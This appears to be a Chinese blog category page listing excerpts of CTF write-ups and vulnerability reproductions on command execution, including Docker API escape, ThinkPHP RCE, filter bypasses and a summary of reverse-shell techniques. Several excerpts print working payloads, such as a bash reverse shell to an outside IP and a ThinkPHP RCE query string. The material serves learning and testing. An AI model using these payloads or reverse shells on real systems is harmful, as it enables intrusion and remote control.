命令执行
文章平均质量分 79
命令执行
bfengj
vegetable web dog
展开
-
Docker远程API未授权访问导致的Docker逃逸
Docker远程API未授权访问导致的Docker逃逸前言是给社团学弟学妹们一次讲课的一次md。服务器https://cloud.tencent.com/act/campus当然想要复现学习这个的话,本地也足够了,可以在linux虚拟机中装docker来复现即可。DockerDocker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也原创 2022-01-09 23:28:35 · 1303 阅读 · 0 评论 -
Chrome 远程代码执行0Day 简单复现
前言今天学长告诉我谷歌最新版出了个远程代码执行0day:【POC公开】Chrome 远程代码执行0Day漏洞通告反正闲的没事,也本地实验一下。复现看一下推特:今天中午爆出来的,作者也在github上给出了EXP:chrome-0day影响版本是Google:Chrome: <=89.0.4389.114,确实到了最新版:开个虚拟机去虚拟机里复现一波。要求是谷歌浏览器没有开启SandBox模式,其实大部分谷歌浏览器都是开启的,可能只有少部分给关掉了。谷歌浏览器这里改一下:最原创 2021-04-13 20:02:17 · 785 阅读 · 2 评论 -
[虎符CTF 2021]Internal System
前言这道题当时比赛的时候拿到hint之后就不会做了,当时大致也查到了CVE-2020-9296-Netflix-Conductor-RCE这个洞,主要还是那个内网的ip不知道,此外就算知道了内网的ip,发post包那里我也会被卡住,还是太菜了。现在复现环境放在了buuctf上面,一些师傅也发了复现的WP,我参考了一下赵总和miaotony师傅的复现文章来学习了一波。拿到hint之前的内容可能会一概而过,因为比较简单,主要的难点还是后面打内网8080端口的Netflix-Conductor设备。WP访原创 2021-04-06 16:20:14 · 1908 阅读 · 3 评论 -
有长度限制的命令执行
前言昨天看nepctf的梦里花开牡丹亭那题,最后遇到了有长度限制的命令执行,不过这题的命令执行长度限制在小于10个字符,直接构造即可。但是又想到自己之前还没有仔细学过有长度限制的命令执行,于是好好的来学一下。9长度限制也就是这道题了,怎么说呢,单纯的就获得flag来说,直接这样就可以了:n\l /flag剩下的就还是看接下来更短的命令执行的思路叭。7长度限制来源p神密友圈的7字符命令执行:小密圈里的那些奇技淫巧理解一下叭。比如这个命令:echo Y2F0IC9mbGFn|base64原创 2021-03-21 14:13:28 · 2100 阅读 · 3 评论 -
Thinkphp cache缓存函数远程代码执行漏洞
前言环境创建:composer create-project topthink/think=5.0.10 thinkphp5.0.10 "require": { "php": ">=5.4.0", "topthink/framework": "5.0.10" },composer update影响版本:3.2.3-5.0.10index控制器里写个cache()函数: public function cache() {原创 2021-03-10 09:46:20 · 1927 阅读 · 0 评论 -
thinkphp5 RCE漏洞复现
前言之前看的是tp3的SQL注入,现在开始审计一下tp5的一些SQL注入和RCE。先看一下RCE,毕竟thinkphp最广为人知的漏洞就是RCE。首先是源码的下载,我从这里下载:thinkphp下载这里我下载的是thinkphp5.0.22完整版,如果下载核心版的话可能会有一些代码的缺失。debug模式开启下的RCE和之前tp5.1的反序列化一样,RCE的执行点也都是重要的request类。关键在于这个filterValue()函数:/** * 递归过滤给定的值 * @param mixe原创 2021-03-03 12:02:28 · 3469 阅读 · 4 评论 -
[GYCTF2020]EasyThinking
知识点thinkphp6.0.0-6.0.1的任意文件写入绕过disable_functionsWP很有意思的一道题目,因为自己对于thinkphp实在不了解,也是踩了好多坑才做了出来。首先进入环境进行简单的信息收集,发现存在www.zip,可以下载源码。下载下来发现是thinkphp6,版本是6.0.0。经过搜索,发现该版本存在任意文件写入,和session有关,参考文章如下:ThinkPHP 6.0.1 漏洞分析(任意文件操作)对下载下来的源码简单审一下,重点是这个Member.php原创 2021-01-21 18:22:44 · 554 阅读 · 0 评论 -
CTFshow-WEB入门-命令执行
web29?c=system("cat fla*.php");或者连蚁剑得flag。web30或者其他姿势,因为过滤太少,命令执行得函数很多,绕过姿势也很多,因此不列举了。web31或者?c=echo`tac%09fl*`;web32利用自己以前没有注意过得一个点。if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){过滤了括号和分号确实有些难受。过滤了括号只能用无括号的原创 2021-01-20 13:56:09 · 9238 阅读 · 12 评论 -
[网鼎杯 2020 白虎组]PicDown
知识点文件读取文件描述符python代码审计反弹shellWP总的来说还是一道比较简单的题目,有毒的地方就是那个url,我卡在那个url上面了,我真的以为这是一个SSRF,没想过去试试直接文件读取,没想到真的这样:?url=../../../../../etc/passwd可以读到东西。虽然我也尝试过用file,但是没读到东西,看来是被过滤了,还是自己的...原创 2021-01-07 15:03:49 · 2570 阅读 · 4 评论 -
反弹shell的总结
前言ctf中经常执行命令没有回显,需要进行反弹shell,而不同的环境反弹shell的姿势也不尽相同,所以就在这里总结一下,自己以后遇到了什么新的姿势都会加进来。比较常见的姿势比较常见的基本就是bash反弹,python反弹和curl反弹了。bash反弹shell没啥好说的,因为太常见了:bash -i >& /dev/tcp/118.xxx.xxx.xxx/39009 0>&1curl反弹shell其实有点类似bash反弹,一个例子如下:curl http:原创 2021-01-07 14:43:45 · 1182 阅读 · 0 评论 -
攻防世界 Web高手进阶区 favorite_number
知识点PHP的数组key溢出。PHP的preg_match的/m绕过。命令执行绕过。WP昨天偶然翻自己的收藏夹,突然翻到了攻防世界,差点忘了攻防世界的web还没刷完。。就回来稍微看了个题目,还是挺有意思的,不过我也没能完全独立做出来,前两个点都遇到了问题,反而是最后的命令执行做的比较轻松。首先进入环境,审一下代码:<?php//php5.5.9$stuff = $_POST["stuff"];$array = ['admin', 'user'];if($stuff === $原创 2020-12-21 18:58:12 · 916 阅读 · 1 评论 -
[V&N2020 公开赛]CHECKIN
知识点反弹shell文件描述符WP进入环境审一下源码:from flask import Flask, requestimport osapp = Flask(__name__)flag_file = open("flag.txt", "r")# flag = flag_file.read()# flag_file.close()## @app.route('/flag')# def flag():# return flag## want flag? naive!原创 2020-12-16 20:45:10 · 246 阅读 · 0 评论 -
[BJDCTF 2nd]duangShell
知识点.swp文件反弹shellWP这题一开始没想着直接nc连,还是自己太菜了,自己会的nc连接都要用到>,一看这题过滤了>,就觉得不可能,然后直接靠看web的log来过这题了。首先进入环境提示了.swp,下载下来然后复原一下:<?phperror_reporting(0);echo "how can i give you source code? .swp?!"."<br>";if (!isset($_POST['girl_friend'])) {原创 2020-12-07 18:50:58 · 440 阅读 · 1 评论 -
[FBCTF2019]RCEService
知识点py源码???这源码哪来的???咱也不知道,咱也不敢问。preg_match的绕过姿势关于路径和linux命令的相关知识WP进入环境,是个RCE的接口,经过我稍微尝试就感觉这题有毒,感觉过滤的实在是太多太多了,然后又想了很久没想到到底有哪种姿势能一下子这么强的给绕过。看了WP,怎么都是直接审源码???源码是怎么弄的?。。。唉,似乎这题本来有源码。。。然后就稍微审一下:<?phpputenv('PATH=/home/rceservice/jail');if (isset(原创 2020-12-03 23:20:43 · 2123 阅读 · 3 评论 -
[极客大挑战 2019]RCE ME
知识点无字母数字RCE绕过disable_functionsWP首先进入环境审一下代码:<?phperror_reporting(0);if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long.");原创 2020-11-29 00:11:19 · 289 阅读 · 1 评论 -
[WUSTCTF2020]朴实无华
知识点intval函数漏洞md5的弱类型比较漏洞命令执行绕过空格WP这题还是不难的,自己太菜了。。。做了1个小时才做出来,主要还是对这些php本身的漏洞不太熟悉,导致浪费了很长时间首先进入环境,试试robots.txt,发现了fAke_f1agggg.php,访问这个文件,在响应头里面发现了fl4g.php,再访问一下就得到源码了:<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);hig原创 2020-11-20 20:36:28 · 217 阅读 · 1 评论 -
[CISCN 2019 初赛]Love Math
前言还是在buuctf上做题,做到了这个国赛的题目,感觉自己还是太菜了,创造力少的可怜,一点基本的对知识的运用能力都没有,还是要加油啊。WP进入环境进行代码审计:<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen原创 2020-11-18 15:13:44 · 764 阅读 · 1 评论 -
[BJDCTF2020]ZJCTF,不过如此 1
知识点一些协议preg_match的/e修正符正则表达式,涉及到了后向引用。WP前面的没啥好说的,text用data协议绕过:?text=data://text/plain,I have a dream然后尝试用php的伪协议读一下next.php:&file=php://filter/read=convert.base64-encode/resource=next.php审一下代码:<?php$id = $_GET['id'];$_SESSION['id']原创 2020-11-16 16:26:12 · 374 阅读 · 0 评论 -
[安洵杯 2019]easy_web 1
前言这题是一道没出好的题目,导致了后面的正则匹配出现了很大的问题,不过因为我也菜。。我也对这个正则匹配没有理解好。所以我没看出这个问题。。。WP前面的题解就尽量省略一些,主要讲一下最后命令执行的正则匹配。看到url的img传参,base64二次解密再加一次hex解密,就可以得到555.png,因此我们反向构造index.php,得到index.php的源码:<?phperror_reporting(E_ALL || ~ E_NOTICE);header('content-type:text原创 2020-11-12 20:05:21 · 459 阅读 · 1 评论 -
[BJDCTF 2nd]old-hack 1
WP一道直接利用thinkphp的RCE洞的题目。首先进入环境,得知这是一个thinkphp5,通过输入?s=1来报错,获得版本信息(是一个小姿势):tp5.0.23这个版本以及相近的版本以RCE而出名的,去网上搜一波payload,搜到了:?s=1_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /直接打就可以执行。不过我一开始执行的时候,光看到了system(): Cannot execu原创 2020-11-12 14:42:37 · 1037 阅读 · 1 评论 -
[GXYCTF2019]禁止套娃 1
知识点git泄露PHP中正则表达式的递归无参数RCEWP自己做这题的时候对于这个正则表达式的递归和无参数RCE都是第一次接触,连正则表达式都没看懂。。之后上网查了一下资料,写下了这篇WP。首先进入环境,用dirsearch扫一下,存在git泄露,用工具把源码弄下来:<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|原创 2020-11-11 18:41:09 · 1156 阅读 · 1 评论 -
2020-网鼎杯-朱雀组-Web-nmap
WP和BUUCTF里的2018 Online Tool非常类似。首先就是中是个nmap命令注入,有2个方式:利用-oG,可以将命令和结果写进文件。利用-iL 和-oN。其中-iL是从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息,-oN是把扫描结果重定向到一个可读的文件logfilename中。关于escapesh原创 2020-11-03 10:31:15 · 826 阅读 · 0 评论 -
2020-第五空间智能安全大赛-Web-hate-php
知识点命令执行正则表达式的异或绕过WP首先是代码审计:<?phperror_reporting(0);if(!isset($_GET['code'])){ highlight_file(__FILE__);}else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are to原创 2020-11-02 12:09:09 · 1167 阅读 · 0 评论 -
2020-网鼎杯-朱雀组-Web-phpweb
前言我是废物。。越学越回去了,现在连怎么读源码都想不起来了,天天直接getshell,getshell的,最基本的读文件源码的函数都忘得一干二净了。WP进入环境,经过一系列的信息收集,发现了POST传入的func的函数名,p传入的是参数,尝试执行命令,以及一些其他的php函数,都失败了。然后就卡住了。。觉得这题的关键点在index.php的源码里,我尝试去找备份文件,git泄露之类的,都没有。。。自己都可以命令执行了,为什么想不起来读源码呢。。。这里读源码都两种方式,分别是:func=file_原创 2020-11-01 22:39:22 · 511 阅读 · 0 评论 -
“百度杯”CTF比赛 十月场 EXEC
WP首先进入环境,有两种方式得到源码。一种是直接dirsearch扫,扫出存在.index.php.swp,第二种是f12看源码,发现:暗示可能存在vim源码泄露,也能猜到.index.php.swp。下载下面,vim -r index.php.swp,就可以复原文件,得到index.php的源码:<?php/*flag in flag233.php*/function check($number){ $one = ord('1'); $nine = ord('9'原创 2020-10-27 17:34:38 · 638 阅读 · 3 评论 -
[RoarCTF 2019]Easy Calc 1
前言这题的绕过方式都是我的知识盲区,真的是学习到新姿势了!需要了解的知识点这是别人对PHP字符串解析漏洞的理解,我们知道PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news原创 2020-10-20 00:07:39 · 1922 阅读 · 1 评论 -
[GXYCTF2019]Ping Ping Ping
这是一个正常的命令执行的题目,还用不到反弹shell之类的操作。首先尝试分号,发现分号没有被过滤,因此可以执行多条语句。接着ls,发现存在index.php和flag.php。经过尝试,发现过滤了空格和flag以及一些符号。但是cat没有被过滤。尝试读一下index.php,其中空格可以通过$IFS$9来绕过:;cat$IFS$9index.php;<?phpif(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&a原创 2020-10-19 22:55:08 · 178 阅读 · 0 评论 -
2020年西湖论剑 easyjson
这题总的来说就是代码审计+(伪)文件上传+RCE。首先是代码审计:<?phpinclude 'security.php';if(!isset($_GET['source'])){ show_source(__FILE__); die();}$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';var_dump($sandbox);if(!file_exists($sandbox)){原创 2020-10-15 23:47:47 · 428 阅读 · 0 评论 -
“百度杯”CTF比赛 十月场 Hash
WP这题也是学习到了很多新的姿势,是一个不错的题目。WP进入环境,点击haha,提示:you are 123;if you are not 123,you can get the flag。再看看,发现get参数里有key=123&hash=f9109d5f83921a551cf859f853afe7bbf12查看源码,发现$hash=md5($sign.$key);the length of $sign is 8因此我们需要知道$sign是多少。我利用在线md5解密工具,上面的hash原创 2020-10-04 16:20:50 · 614 阅读 · 0 评论 -
攻防世界-Web高手进阶区-Cat
这题其实并不能算是命令执行,主要涉及了输入宽字节字符导致报错,curl的@+文件名做本地文件读取,以及django的相关知识。原创 2020-09-13 12:13:42 · 449 阅读 · 0 评论